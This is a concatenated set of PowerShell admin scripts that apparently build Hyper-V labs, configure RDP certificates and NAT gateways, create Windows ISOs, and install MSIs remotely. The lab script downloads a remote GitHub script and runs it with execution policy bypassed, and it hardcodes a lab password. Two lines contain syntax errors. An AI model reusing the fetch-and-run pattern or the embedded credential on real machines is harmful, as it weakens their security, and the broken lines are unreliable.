$BackupKey -Force | Out-Null 92 | 93 | #Store the original value in the backup location 94 | New-ItemProperty -Path $BackupKey -Name $Name -PropertyType DWORD -Value (Get-ItemProperty -Path $Key | Select-Object -ExpandProperty $Name) -Force | Out-Null 95 | 96 | #Set the value to enable offline installation 97 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null 98 | 99 | } Else { 100 | 101 | # Create the path 102 | New-Item -Path $Key -Force | Out-Null 103 | 104 | #Set the value to enable offline installtion 105 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null 106 | } 107 | } 108 | ############################################################################################## 109 | 110 | 111 | # Main(Off) 112 | ############################################################################################## 113 | If($Off){ 114 | 115 | 116 | If(!$Force){ 117 | If(!(Test-RegistryValue -Path $BackupKey -Value $Name)){ 118 | write-host "Previous stored settings could not be located, cannot continue. Use the -Force parameter to override and reset to OS default." -ForegroundColor Yellow 119 | return 120 | } 121 | } 122 | 123 | If(Test-RegistryValue -Path $Key -Value $Name){ 124 | 125 | If(Test-RegistryValue -Path $BackupKey -Value $Name){ 126 | 127 | # Reset the default value 128 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value (Get-ItemProperty -Path $BackupKey | Select-Object -ExpandProperty $Name) -Force | Out-Null 129 | 130 | #Delete The Backup 131 | Remove-Item -Path $BackupKeyRoot -Recurse -Force | Out-Null 132 | 133 | } Else { 134 | 135 | # Set the default value if the backup does not exist 136 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null 137 | 138 | } 139 | 140 | } Else { 141 | 142 | If(Test-RegistryValue -Path $BackupKey -Value $Name){ 143 | 144 | # Create the path 145 | New-Item -Path $Key -Force | Out-Null 146 | 147 | # Set the default value 148 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value (Get-ItemProperty -Path $BackupKey | Select-Object -ExpandProperty $Name) -Force | Out-Null 149 | 150 | #Delete The Backup 151 | Remove-Item -Path $BackupKeyRoot -Recurse -Force | Out-Null 152 | 153 | } Else { 154 | 155 | # Create the path 156 | New-Item -Path $Key -Force | Out-Null 157 | 158 | # Set the Default Value if the backup does not exist 159 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null 160 | 161 | } 162 | } 163 | } 164 | ############################################################################################## -------------------------------------------------------------------------------- /Scripts/AutomatedLab/Install-SingleEndPoint.ps1: -------------------------------------------------------------------------------- 1 | $Name = "SingleEP" 2 | 3 | New-LabDefinition -Name "SingleEndPoint" ` 4 | -DefaultVirtualizationEngine HyperV 5 | 6 | Set-LabInstallationCredential -Username "superuser" ` 7 | -Password "P@ssw0rd!" 8 | 9 | Add-LabVirtualNetworkDefinition -Name 'Default Switch' ` 10 | -HyperVProperties @{SwitchType = 'External'; AdapterName = 'Ethernet'} 11 | 12 | Add-LabMachineDefinition -Name $Name -OperatingSystem 'Windows 10 Enterprise Evaluation' ` 13 | -Network 'Default Switch' ` 14 | -Memory 8GB ` 15 | -Processors 4 ` 16 | -EnableWindowsFirewall 17 | Install-Lab 18 | 19 | # Remove Edge 20 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "EdgeRemove" -ScriptBlock { 21 | Invoke-WebRequest -Uri "https://raw.githubusercontent.com/ChrisTitusTech/winutil/main/edgeremoval.ps1" -OutFile "edgeremoval.ps1" 22 | Start-Process "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -File .\edgeremoval.ps1" 23 | } -PassThru 24 | 25 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Winget" -ScriptBlock { 26 | Invoke-WebRequest -Uri "https://aka.ms/getwinget" ` 27 | -OutFile "Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle" 28 | Invoke-WebRequest -Uri "https://aka.ms/Microsoft.VCLibs.x64.14.00.Desktop.appx" ` 29 | -OutFile "Microsoft.VCLibs.x64.14.00.Desktop.appx" 30 | Invoke-WebRequest -Uri "https://github.com/microsoft/microsoft-ui-xaml/releases/download/v2.8.6/Microsoft.UI.Xaml.2.8.x64.appx" ` 31 | -OutFile "Microsoft.UI.Xaml.2.8.x64.appx" 32 | 33 | Add-AppxPackage "Microsoft.VCLibs.x64.14.00.Desktop.appx" 34 | Add-AppxPackage "Microsoft.UI.Xaml.2.8.x64.appx" 35 | Add-AppxPackage "Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle" 36 | 37 | Remove-Item -Path "Microsoft.VCLibs.x64.14.00.Desktop.appx" 38 | Remove-Item -Path "Microsoft.UI.Xaml.2.8.x64.appx" 39 | Remove-Item -Path "Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle" 40 | } 41 | 42 | # Download VPN 43 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "VPN" -ScriptBlock { 44 | Invoke-WebRequest -Uri "https://www.ipvanish.com/software/setup-prod-v2/ipvanish-setup.exe" -OutFile "ipvanish-setup.exe" 45 | } 46 | 47 | # Remove AutoStart 48 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "BGInfo" -ScriptBlock { 49 | Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "BgInfo" 50 | } 51 | 52 | # Remove AutoLogon 53 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Disable AutoLogon" -ScriptBlock { 54 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -ErrorAction SilentlyContinue){ 55 | Set-ItemProperty -literalPath 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -Value 0 56 | } 57 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount -ErrorAction SilentlyContinue ){ 58 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount 59 | } 60 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword -ErrorAction SilentlyContinue ){ 61 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword 62 | } 63 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID -ErrorAction SilentlyContinue ){ 64 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID 65 | } 66 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName -ErrorAction SilentlyContinue ){ 67 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName 68 | } 69 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName -ErrorAction SilentlyContinue ){ 70 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName 71 | } 72 | 73 | } -PassThru 74 | 75 | # Cleanup Deployment Files From Virtual Machines 76 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Cleanup" -ScriptBlock { 77 | if (Test-Path -Path 'C:\AdditionalDisksOnline.ps1'){ 78 | Remove-Item 'C:\AdditionalDisksOnline.ps1' -Force 79 | } 80 | if (Test-Path -Path 'C:\Unattend.xml'){ 81 | Remove-Item 'C:\Unattend.xml' -Force 82 | } 83 | if (Test-Path -Path 'C:\WSManRegKey.reg'){ 84 | Remove-Item 'C:\WSManRegKey.reg' -Force 85 | } 86 | if (Test-Path -Path 'C:\DeployDebug'){ 87 | Remove-Item 'C:\DeployDebug' -Recurse -Force 88 | } 89 | if (Test-Path -Path 'C:\WinRmCustomization.ps1'){ 90 | Remove-Item 'C:\WinRmCustomization.ps1' -Recurse -Force 91 | } 92 | if (Test-Path -Path 'C:\Scripts'){ 93 | Remove-Item 'C:\Scripts' -Recurse -Force 94 | } 95 | if (Test-Path -Path (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') )){ 96 | Remove-Item (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') ) -Recurse -Force 97 | } 98 | if (Test-Path -Path 'edgeremoval.ps1' ){ 99 | Remove-Item 'edgeremoval.ps1' -Recurse -Force 100 | } 101 | } 102 | 103 | $Session = New-LabPSSession -ComputerName (Get-LabVM) 104 | Copy-Item -ToSession $Session -Path "C:\LabSources\PostInstallationActivities\EndPoint\apps.bat" -Destination "C:\users\superuser\desktop" 105 | Remove-PSSession -Session $Session 106 | 107 | # Set UAC 108 | Set-LabVMUacStatus -ComputerName (Get-LabVM) -EnableLUA $true -ConsentPromptBehaviorAdmin 5 -ConsentPromptBehaviorUser 3 109 | 110 | # Reboot 111 | $LabClients = Get-LabVM | Where-Object {( $_.OperatingSystem -NotLike "*Windows Server*" -and $_.OperatingSystemType -eq "Windows" )} 112 | foreach($LabClient in $LabClients) 113 | { 114 | Restart-LabVM -ComputerName $LabClient.Name -NoNewLine -Wait 115 | } 116 | 117 | # Show all the installation details 118 | Show-LabDeploymentSummary -Detailed -------------------------------------------------------------------------------- /Scripts/Set-RDPCertificate.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Set the server certificate for the RDP connection. 4 | 5 | .DESCRIPTION 6 | This script sets a custom certificate for the RDP session on Windows Server 2012 R2. 7 | 8 | Script version: 1.1 9 | Script Author: Michael Waterman 10 | 11 | .Parameter Hash 12 | provide a valid hash for the certificate you want to use. Please note that the certificate needs o.i.d: 1.3.6.1.5.5.7.3.1 and 1.3.6.1.5.5.7.3.2. 13 | 14 | .Parameter Delete 15 | Deletes the current RDP Certificate. requires the Hash parameter. 16 | 17 | .Parameter Terminalname 18 | Provides a custom name for the RDP connection name. Default is "RDP-TCP". 19 | 20 | .Parameter listCerts 21 | Lists all certificates in the personal store of the local computer. 22 | 23 | .Parameter ListCurrent 24 | Displays the certificate currently assigned to the RDP-TCP connection. 25 | 26 | .EXAMPLE 27 | Set-RDPCertificate -hash C6761A68B39DCB056C8268CFE6FB640DB5EF7715 28 | 29 | Updates the RDP Certificate to the provided hash value. 30 | 31 | .EXAMPLE 32 | Set-RDPCertificate -hash C6761A68B39DCB056C8268CFE6FB640DB5EF7715 -delete 33 | 34 | Updates the RDP Certificate to the provided hash value and deletes the current one if the hash value is different to the one provided. 35 | 36 | .EXAMPLE 37 | Set-RDPCertificate -hash C6761A68B39DCB056C8268CFE6FB640DB5EF7715 -Terminalname MY-RDP 38 | 39 | Updates the RDP Certificate to the provided hash value on the MY-RDP connection instead of the default RDP-TCP. 40 | 41 | .EXAMPLE 42 | Set-RDPCertificate -ListCerts 43 | 44 | Lists the available certificates from the local computer store. 45 | 46 | .EXAMPLE 47 | Set-RDPCertificate -ListCurrent 48 | 49 | List the currently used certificate for the RDP-TCP connection. 50 | 51 | #> 52 | 53 | 54 | 55 | # Parameter input 56 | ############################################################################################## 57 | [CmdletBinding(DefaultParameterSetName="hash")] 58 | param( 59 | 60 | [Parameter(ParameterSetName="hash", Mandatory=$true)] 61 | [string]$Hash, 62 | [Parameter(ParameterSetName="hash", Mandatory=$false)] 63 | [switch]$Delete, 64 | [Parameter(ParameterSetName="hash", Mandatory=$false)] 65 | [string]$Terminalname = "RDP-TCP", 66 | [Parameter(ParameterSetName="certificates", Mandatory=$true)] 67 | [switch]$listCerts, 68 | [Parameter(ParameterSetName="current", Mandatory=$true)] 69 | [switch]$ListCurrent 70 | ) 71 | ############################################################################################## 72 | 73 | 74 | # Check the minimal supported Windows version 75 | ############################################################################################## 76 | $OSVersion = (Get-CimInstance -Class Win32_OperatingSystem).Version 77 | $OSVersionRequired = '6.3.9600' 78 | 79 | if ([version]$OSVersion -lt [version]$OSVersionRequired ) 80 | { 81 | write-host $Caption "Is not supported" 82 | return 83 | } 84 | ############################################################################################## 85 | 86 | 87 | # Set the script variables 88 | ############################################################################################## 89 | $certificates = Get-ChildItem -path cert:\LocalMachine\My\ 90 | $CertificateCheck = $false 91 | $ErrorActionPreference = "Stop" 92 | $Query = "select * from Win32_TSGeneralSetting where Terminalname LIKE ""$Terminalname""" 93 | $CurrentCert = Get-CimInstance -Namespace root/cimv2/terminalservices -Query $Query 94 | ############################################################################################## 95 | 96 | 97 | # List all certificates in the local computer store 98 | ############################################################################################## 99 | if ($listCerts) { 100 | Get-ChildItem -path cert:\LocalMachine\My\ | 101 | Format-table Thumbprint, @{ 102 | Name= 'Issued to'; Expression= { 103 | $_.getnameinfo('SimpleName', $false) 104 | } 105 | }, Friendlyname 106 | return} 107 | ############################################################################################## 108 | 109 | 110 | # Display the current certificate 111 | ############################################################################################## 112 | if($ListCurrent) 113 | { 114 | Get-CimInstance -Namespace root/cimv2/terminalservices -ClassName Win32_TSGeneralSetting | 115 | Select CertificateName, TerminalName, SSLCertificateSHA1Hash | 116 | Format-List 117 | return 118 | } 119 | ############################################################################################## 120 | 121 | 122 | # Check the lenght of the hash 123 | ############################################################################################## 124 | if ($hash.Length -lt 40) 125 | { 126 | Write-Host "Provided hash value is not at the expected lenght" -ForegroundColor Red 127 | return 128 | } 129 | ############################################################################################## 130 | 131 | 132 | # Main 133 | ############################################################################################## 134 | foreach ($certificate in $certificates) 135 | { 136 | if ($certificate.Thumbprint -contains $hash) 137 | { 138 | $CertificateCheck = $true 139 | 140 | if ($certificate.EnhancedKeyUsageList.Objectid -contains "1.3.6.1.5.5.7.3.1" -and $certificate.EnhancedKeyUsageList.Objectid -contains "1.3.6.1.5.5.7.3.2" ) 141 | { 142 | if ($Delete) 143 | { 144 | if($hash -ne $CurrentCert.SSLCertificateSHA1Hash) 145 | { 146 | Get-ChildItem Cert:\LocalMachine\My\$($CurrentCert.SSLCertificateSHA1Hash) | 147 | Remove-Item 148 | } 149 | } 150 | 151 | Set-CimInstance -InputObject $currentcert -Property @{SSLCertificateSHA1Hash="$hash"} 152 | 153 | if($?) { 154 | Write-Host "Certificate successfully set" 155 | return 156 | } 157 | 158 | } else { 159 | Write-Host "The certificate does not contain the required key usage client & server authentication" -ForegroundColor Yellow 160 | return 161 | } 162 | 163 | } 164 | } 165 | 166 | 167 | # No certificate found 168 | ############################################################################################## 169 | if (!$CertificateCheck) 170 | { 171 | Write-Host "Provided certificate hash was not found in local computer certificate store" -ForegroundColor Red 172 | return 173 | } 174 | ############################################################################################## -------------------------------------------------------------------------------- /Scripts/Install-Gateway.ps1: -------------------------------------------------------------------------------- 1 | #Requires -RunAsAdministrator 2 | #Requires -Version 5.1 3 | 4 | <#PSScriptInfo 5 | .VERSION 1.0 6 | .GUID 66c01f41-81df-4125-8431-7b34d360df43 7 | .AUTHOR ACA IT-Solution - Security Consulting 8 | .COMPANYNAME ACA IT-Solution 9 | .COPYRIGHT 10 | .TAGS LAB Gateway 11 | #> 12 | 13 | <# 14 | .SYNOPSIS 15 | Install and configure a gateway server for a hyper-v based lab 16 | 17 | .DESCRIPTION 18 | This script installs and configures a gateway server for a hyper-v based lab 19 | 20 | Please note that this script requires Windows Server 2016 or above. 21 | 22 | .EXAMPLE 23 | Install-Gateway.ps1 24 | Configure a gateway server. 25 | 26 | .EXAMPLE 27 | Install-Gateway.ps1 -InstallRouting 28 | Install the Windows Routing feature and restart, this needs to be done before the machine can be configured. 29 | 30 | .EXAMPLE 31 | Install-Gateway.ps1 -InternallNetWorkAddress 00-15-5D-0A-C8-12 -ExternallNetWorkAddress 00-15-5D-0A-C8-13 InternalAdapterName corp 32 | -ExternalAdapterName gateway -InternalIPAddress 192.168.11.1 -InternalPrefixLength 24 33 | -InternalConnectionSpecificSuffix mydomain.com -InternalDNSServerAddresses 192.168.11.2,192.168.11.3 34 | Set all available parameters 35 | 36 | .NOTES 37 | AUTHOR: ACA IT-Solution - Security Consulting 38 | LASTEDIT: 2020.03.30 39 | #> 40 | 41 | [cmdletbinding(DefaultParameterSetName='Configure')] 42 | param ( 43 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 44 | [string]$InternallNetWorkAddress, 45 | 46 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 47 | [string]$ExternallNetWorkAddress, 48 | 49 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 50 | [string]$InternalAdapterName, 51 | 52 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 53 | [string]$ExternalAdapterName, 54 | 55 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 56 | [string]$InternalIPAddress, 57 | 58 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 59 | [string]$InternalPrefixLength, 60 | 61 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 62 | [string]$InternalConnectionSpecificSuffix, 63 | 64 | [Parameter(Mandatory=$true, ParameterSetName='Configure')] 65 | [Array]$InternalDNSServerAddresses, 66 | 67 | [Parameter(Mandatory=$true, ParameterSetName='RoutingInstall')] 68 | [switch]$InstallRouting 69 | ) 70 | 71 | $ErrorActionPreference = "Stop" 72 | 73 | Switch ($InstallRouting) { 74 | $true { switch ( (Get-WindowsFeature -Name Routing).InstallState) { 75 | Available { Install-WindowsFeature -Name Routing -IncludeAllSubFeature -Restart ; return } 76 | Installed { Write-Error "Windows Feature Routing is already installed" } 77 | Default { Write-Verbose "State of the Windows Feature Routing is unknown, configuration cannot continue" ; return } 78 | } 79 | } 80 | $False { switch ( (Get-WindowsFeature -Name Routing).InstallState) { 81 | Available { Write-Verbose "Windows Feature Routing is not installed, use the -InstallRouting to install the role first" ; return } 82 | Installed { Write-Verbose "Windows Feature Routing is installed, configuration can continue" } 83 | Default { Write-Verbose "State of the Windows Feature Routing is unknown, configuration cannot continue" ; return } 84 | } 85 | } 86 | } 87 | 88 | Write-Verbose -Message "Check the operational status of the networkadapters" 89 | If(Get-NetAdapter | Where-Object Status -NE "UP"){ 90 | Write-Error -Message "Network is not operational" 91 | } 92 | 93 | Write-Verbose -Message "Rename the networkadapter" 94 | Get-NetAdapter | Where-Object MacAddress -EQ $InternallNetWorkAddress | Rename-NetAdapter -NewName $InternalAdapterName 95 | Get-NetAdapter | Where-Object MacAddress -EQ $ExternallNetWorkAddress | Rename-NetAdapter -NewName $ExternalAdapterName 96 | 97 | Write-Verbose -Message "Configure the adapter bindings and disable ip registration in dns" 98 | foreach($NetAdapter in (Get-NetAdapter | where {($_.MacAddress -EQ $InternallNetWorkAddress) -or ($_.MacAddress -EQ $ExternallNetWorkAddress)})){ 99 | Foreach($NetAdapterBinding in (Get-NetAdapterBinding -InterfaceAlias $NetAdapter.Name )){ 100 | Disable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID $NetAdapterBinding.ComponentID 101 | } 102 | Enable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID "ms_tcpip" 103 | Disable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID "ms_msclient" 104 | Disable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID "ms_server" 105 | 106 | Set-DnsClient -InterfaceAlias $NetAdapter.Name -RegisterThisConnectionsAddress $false 107 | } 108 | 109 | Write-Verbose -Message "Set the IP address of the internal adapter" 110 | New-NetIPAddress -IPAddress $InternalIPAddress -InterfaceAlias $InternalAdapterName -AddressFamily IPv4 -PrefixLength $InternalPrefixLength | Out-Null 111 | 112 | Write-Verbose -Message "Set the DNS servers for the internal adapter" 113 | Set-DnsClientServerAddress -InterfaceAlias $InternalAdapterName -ServerAddresses $InternalDNSServerAddresses 114 | 115 | Write-Verbose -Message "Set the connection specific dns suffix for the internal adapter" 116 | Set-DnsClient -InterfaceAlias $InternalAdapterName -ConnectionSpecificSuffix $InternalConnectionSpecificSuffix 117 | 118 | Write-Verbose -Message "Disable netbios over TCP/IP" 119 | Invoke-CimMethod -Query 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=1' -MethodName SetTcpipNetbios -Arguments @{TcpipNetbiosOptions=[uint32]2} | Out-Null 120 | 121 | Write-Verbose -Message "Disable LMHOST lookup 122 | Invoke-CimMethod -ClassName Win32_NetworkAdapterConfiguration -Arguments @{WINSEnableLMHostsLookup=$false} -MethodName EnableWINS | Out-Null 123 | 124 | Write-Verbose -Message "Enable ICMPv4 Ping Echo reply" 125 | Enable-NetFirewallRule -Name "FPS-ICMP4-ERQ-In" 126 | 127 | Write-Verbose -Message "Set the RemoteAccess service to automatically start" 128 | Set-Service -Name RemoteAccess -StartupType Automatic 129 | 130 | Write-Verbose -Message "Start the RemoteAccess service" 131 | Start-Service -Name RemoteAccess 132 | 133 | Write-Verbose -Message "Install the NAT routing feature" 134 | Invoke-Command -ScriptBlock { & netsh.exe routing ip nat install } -ErrorAction SilentlyContinue | Out-Null 135 | 136 | Write-Verbose -Message "Add the external network adapter as a NAT interface" 137 | Invoke-Command -ScriptBlock { & netsh.exe routing ip nat add interface $ExternalAdapterName } 138 | 139 | Write-Verbose -Message "Set the external network interface to full NAT" 140 | # Full specifies that full (address and port) translation mode is enabled. 141 | # addressonly specifies that address-only translation mode is enabled. 142 | # private specifies that private mode is enabled 143 | Invoke-Command -ScriptBlock { & netsh.exe routing ip nat set interface $ExternalAdapterName mode=full } 144 | 145 | Write-Verbose -Message "Enable the NAT configuration" 146 | Invoke-Command -ScriptBlock { & netsh.exe ras set conf confstate = enabled } | Out-Null 147 | 148 | Write-Verbose -Message "Restart the RemoteAccess service" 149 | Restart-Service -Name RemoteAccess 150 | 151 | if( $? ){ 152 | Write-Verbose -Message "Script was succesfully executed" 153 | } -------------------------------------------------------------------------------- /Scripts/Windows Installation Media/New-WindowsInstallationMedia.ps1: -------------------------------------------------------------------------------- 1 | Param ( 2 | [Parameter(Mandatory=$true)] 3 | [string]$XMLFile 4 | ) 5 | 6 | # Initialize objects for security 7 | $wid=[System.Security.Principal.WindowsIdentity]::GetCurrent() 8 | $prp=new-object System.Security.Principal.WindowsPrincipal($wid) 9 | $adm=[System.Security.Principal.WindowsBuiltInRole]::Administrator 10 | $IsAdmin=$prp.IsInRole($adm) 11 | 12 | # Halt if the script is not running as admin 13 | if($IsAdmin -eq $false) 14 | { 15 | Write-Verbose "Process is not running as admin" 16 | exit 17 | } 18 | 19 | # Event Logging 20 | 21 | $source = "SecureDeployment" 22 | 23 | if ([System.Diagnostics.EventLog]::SourceExists($source) -eq $false) 24 | { 25 | [System.Diagnostics.EventLog]::CreateEventSource($source, "Application") 26 | } 27 | 28 | # Functions 29 | function Test-FileLock { 30 | param ( 31 | [parameter(Mandatory=$true)][string]$Path 32 | ) 33 | 34 | $oFile = New-Object System.IO.FileInfo $Path 35 | 36 | if ((Test-Path -Path $Path) -eq $false) { 37 | return $false 38 | } 39 | 40 | try { 41 | $oStream = $oFile.Open([System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None) 42 | 43 | if ($oStream) { 44 | $oStream.Close() 45 | } 46 | return $false 47 | } catch { 48 | # file is locked by a process. 49 | return $true 50 | } 51 | } 52 | 53 | 54 | # Test the XML Data file location 55 | If(Test-Path $XMLFile){ 56 | [XML]$XML = Get-Content -Path $XMLFile 57 | } Else { 58 | Write-EventLog -EventId 1 -LogName Application -Message "XML Data File not Found" -Source SecureDeployment -Category 0 -EntryType Error 59 | Write-Verbose "XML Data File not Found" 60 | Return 61 | } 62 | 63 | # Test the Image capture folder 64 | If(Test-Path $XML.Configuration.ImageData.CaptureFolder){ 65 | # Folder exists, continue 66 | } Else { 67 | Write-EventLog -EventId 2 -LogName Application -Message "Image Capture folder not found" -Source SecureDeployment -Category 0 -EntryType Error 68 | Write-Verbose "Image Capture folder not found" 69 | Return 70 | } 71 | 72 | # Test the ISO destination folder 73 | If(Test-Path $XML.Configuration.ImageData.DestinationFolder){ 74 | # Folder exists, continue 75 | } Else { 76 | Write-EventLog -EventId 3 -LogName Application -Message "ISO destination folder not found" -Source SecureDeployment -Category 0 -EntryType Error 77 | Write-Verbose "ISO destination folder not found" 78 | Return 79 | } 80 | 81 | # Test the ISO Creation Utility 82 | If(Test-Path $XML.Configuration.ImageData.Oscdimg){ 83 | # File exists, continue 84 | } Else { 85 | Write-EventLog -EventId 4 -LogName Application -Message "ISO creation utility OSCDIMG could not be located" -Source SecureDeployment -Category 0 -EntryType Error 86 | Write-Verbose "ISO creation utility OSCDIMG could not be located" 87 | Return 88 | } 89 | 90 | # Get the Content of the capture folder 91 | $WimFiles = Get-ChildItem -Path $XML.Configuration.ImageData.CaptureFolder -Filter "*.wim" 92 | 93 | If($WimFiles){ 94 | foreach($WIMFile in $WimFiles){ 95 | 96 | Write-EventLog -EventId 5 -LogName Application -Message "New WIM file with name $WIMFile detected" -Source SecureDeployment -Category 0 -EntryType Information 97 | 98 | # Check OpLock 99 | If(Test-FileLock -Path $WIMFile.Fullname){ 100 | Write-EventLog -EventId 6 -LogName Application -Message "file $WIMFile is locked, will try at next run" -Source SecureDeployment -Category 0 -EntryType Warning 101 | Return 102 | } 103 | 104 | # Get/Set the Staging Folder 105 | If(Test-Path $XML.Configuration.ImageData.StagingFolder){ 106 | Remove-Item -Path $XML.Configuration.ImageData.StagingFolder -Recurse -Force 107 | New-Item -Path $XML.Configuration.ImageData.StagingFolder -ItemType Directory -Force | Out-Null 108 | } Else { 109 | New-Item -Path $XML.Configuration.ImageData.StagingFolder -ItemType Directory -Force | Out-Null 110 | } 111 | 112 | # Get the MDT Generated Image Name 113 | $MDTImageName = Get-WindowsImage -ImagePath $WIMFile.Fullname -Index 1 | Select -ExpandProperty ImageName 114 | 115 | # Search for the Conversion Name 116 | $FileName = Select-Xml -Xml $XML -XPath "//OperatingSystem[@key='$MDTImageName']" | select -ExpandProperty Node | Select -ExpandProperty Name 117 | 118 | # Search for the Image Name 119 | $ImageName = Select-Xml -Xml $XML -XPath "//OperatingSystem[@key='$MDTImageName']/ImageName" | select -ExpandProperty Node | Select -ExpandProperty "#text" 120 | 121 | # Get the Source Folder 122 | $SourceFolder = Select-Xml -Xml $XML -XPath "//OperatingSystem[@key='$MDTImageName']/Source" | select -ExpandProperty Node | Select -ExpandProperty "#text" 123 | 124 | # Copy The Source Content to the Staging Folder 125 | If(Test-Path $SourceFolder){ 126 | Copy-Item -Path (Join-Path -Path $SourceFolder -ChildPath "\*") -Destination $XML.Configuration.ImageData.StagingFolder -Exclude @('install.wim','*.clg') -Recurse - 127 | } Else { 128 | Write-EventLog -EventId 7 -LogName Application -Message "Source Folder Could not be located" -Source SecureDeployment -Category 0 -EntryType Error 129 | Write-Verbose "Source Folder Could not be located" 130 | Return 131 | } 132 | 133 | # Copy the Captured WIM File to the Staging Sources folder 134 | Export-WindowsImage -SourceImagePath $WIMFile.Fullname -DestinationImagePath (Join-Path $XML.Configuration.ImageData.StagingFolder -ChildPath "sources\install.wim") -SourceName $MDTImageName -DestinationName $ImageName | Out-Null 135 | 136 | # Create the ISO File Name 137 | $GetDate = Get-Date 138 | $Today = [string]$($GetDate.Day) + '-' + [string]$($GetDate.Month) + '-' + [string]$($GetDate.Year) 139 | $ISOFile = (Join-Path $XML.Configuration.ImageData.DestinationFolder -ChildPath ($FileName + " - " + $Today + ".iso" ) ) 140 | 141 | # Remove Previous ISO File 142 | if(Test-Path $ISOFile){ 143 | Remove-Item $ISOFile -Force 144 | } 145 | 146 | # Instead of pointing to normal efisys.bin, use the *_noprompt instead 147 | if($XML.Configuration.ImageData.BootPrompt -eq "true"){ 148 | $BootFile = "efisys.bin" 149 | } Else { 150 | $BootFile = "efisys_noprompt.bin" 151 | } 152 | 153 | $BootData='2#p0,e,b"{0}"#pEF,e,b"{1}"' -f "$($XML.Configuration.ImageData.StagingFolder)\boot\etfsboot.com","$($XML.Configuration.ImageData.StagingFolder)\efi\Microsoft\boot\$BootFile" 154 | 155 | # Create the ISO File 156 | Start-Process -FilePath $($XML.Configuration.ImageData.Oscdimg) -ArgumentList @("-bootdata:$BootData",'-u2','-udfver102',"$($XML.Configuration.ImageData.StagingFolder)","""$ISOFile""") -PassThru -Wait -NoNewWindow 157 | 158 | # Clean the Staging folder 159 | If(Test-Path $XML.Configuration.ImageData.StagingFolder){ 160 | Remove-Item -Path $XML.Configuration.ImageData.StagingFolder -Recurse -Force 161 | } 162 | 163 | # Remove the MDT Source WIM File 164 | if($XML.Configuration.ImageData.RemoveSourceWim -eq "true"){ 165 | Remove-Item $WIMFile.Fullname -Force 166 | } 167 | 168 | Write-EventLog -EventId 8 -LogName Application -Message "Succesfully created $ISOFile" -Source SecureDeployment -Category 0 -EntryType Information 169 | } 170 | } Else { 171 | Write-EventLog -EventId 9 -LogName Application -Message "No WIM Files could be located" -Source SecureDeployment -Category 0 -EntryType Information 172 | Write-Output "No WIM Files could be located" 173 | Return 174 | } -------------------------------------------------------------------------------- /Modules/Install-RemoteMSI/Install-RemoteMSI.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Install a MSI file on a remote machine using PowerShell. 4 | 5 | .DESCRIPTION 6 | This script installs a MSI file remotly on a Windows based 7 | machine using PowerShell remoting. The files are first copied 8 | to the remote machine and executed there. After the installation 9 | all remote files are cleaned up. Logging is done with every 10 | step of the process. Log files can be located in the local 11 | C:\Windows\Temp folder. 12 | 13 | .Parameter MSIFile 14 | File name of the MSI file. If no filename is ommited 15 | "install.msi" is used. 16 | 17 | .Parameter MSILocalWorkingDirectory 18 | The Name of the local install folder. E.g. C:\Foldername. 19 | Please note that the MSIFile should be present in this 20 | folder. 21 | 22 